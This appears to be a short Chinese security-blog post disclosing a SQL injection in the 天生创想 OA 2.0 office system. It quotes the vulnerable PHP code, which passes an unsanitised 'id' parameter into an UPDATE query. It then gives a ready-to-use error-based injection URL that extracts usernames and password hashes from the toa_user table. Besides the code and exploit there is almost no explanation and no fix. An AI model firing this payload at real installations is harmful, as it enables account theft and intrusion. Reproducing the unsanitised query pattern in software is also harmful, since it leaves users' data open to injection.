天生创想oa2.0前台用户sql注入

没穿底裤 2020年1月1日02:51:25评论198 views字数 641阅读2分8秒阅读模式
摘要

administrative/mod_conference.php
[php]
$id = getGP('id','G');$type = getGP('type','G');$db->query("update ".DB_TABLEPRE."conference set type='".$type."' where id=".$id." "); //带入sql语句

administrative/mod_conference.php
[php]
$id = getGP('id','G');

$type = getGP('type','G');

$db->query("update ".DB_TABLEPRE."conference set type='".$type."' where id=".$id." "); //带入sql语句

$content=$id;

$title='审批会议内容';
[/php]
结合报错注入和获取管理员账号密码

登录任意一个用户
exp:
[php]
http://0day5.com//admin.php?ac=conference&fileurl=administrative&do=keys&id=123%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20distinct%20concat%28username,password%29%20FROM%20toa_user%20LIMIT%200,1%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:51:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   天生创想oa2.0前台用户sql注入https://cn-sec.com/archives/75492.html

发表评论

匿名网友 填写信息